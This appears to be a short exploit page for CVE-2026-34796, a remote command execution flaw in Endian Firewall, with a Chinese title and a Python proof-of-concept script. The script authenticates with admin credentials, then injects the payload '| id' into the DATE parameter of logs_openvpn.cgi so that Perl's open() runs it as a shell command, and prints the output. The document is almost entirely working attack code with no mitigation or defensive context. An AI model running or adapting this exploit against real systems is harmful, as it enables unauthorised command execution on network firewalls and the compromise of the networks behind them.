CVE-2026-34796 Endian Firewall远程命令执行漏洞

import requests # Target URL (Replace with actual target) target_url = "https://<target-ip>/cgi-bin/logs_openvpn.cgi" # Attacker's credentials (Authentication required) username = "admin" password = "password" # Payload: Using pipe operator to execute 'id' command # The Perl open() call treats "| id" as a command to execute payload = "| id" # Session management session = requests.Session() # 1. Login to get authenticated session login_data = { "username": username, "password": password } # Note: The actual login endpoint might differ, adjust accordingly login_response = session.post("https://<target-ip>/cgi-bin/login.cgi", data=login_data) if login_response.status_code == 200: print("[+] Login successful") # 2. Send exploit payload params = { "DATE": payload } exploit_response = session.get(target_url, params=params) # 3. Check output if exploit_response.status_code == 200: print("[+] Payload sent") print("[+] Response:") print(exploit_response.text) else: print("[-] Login failed")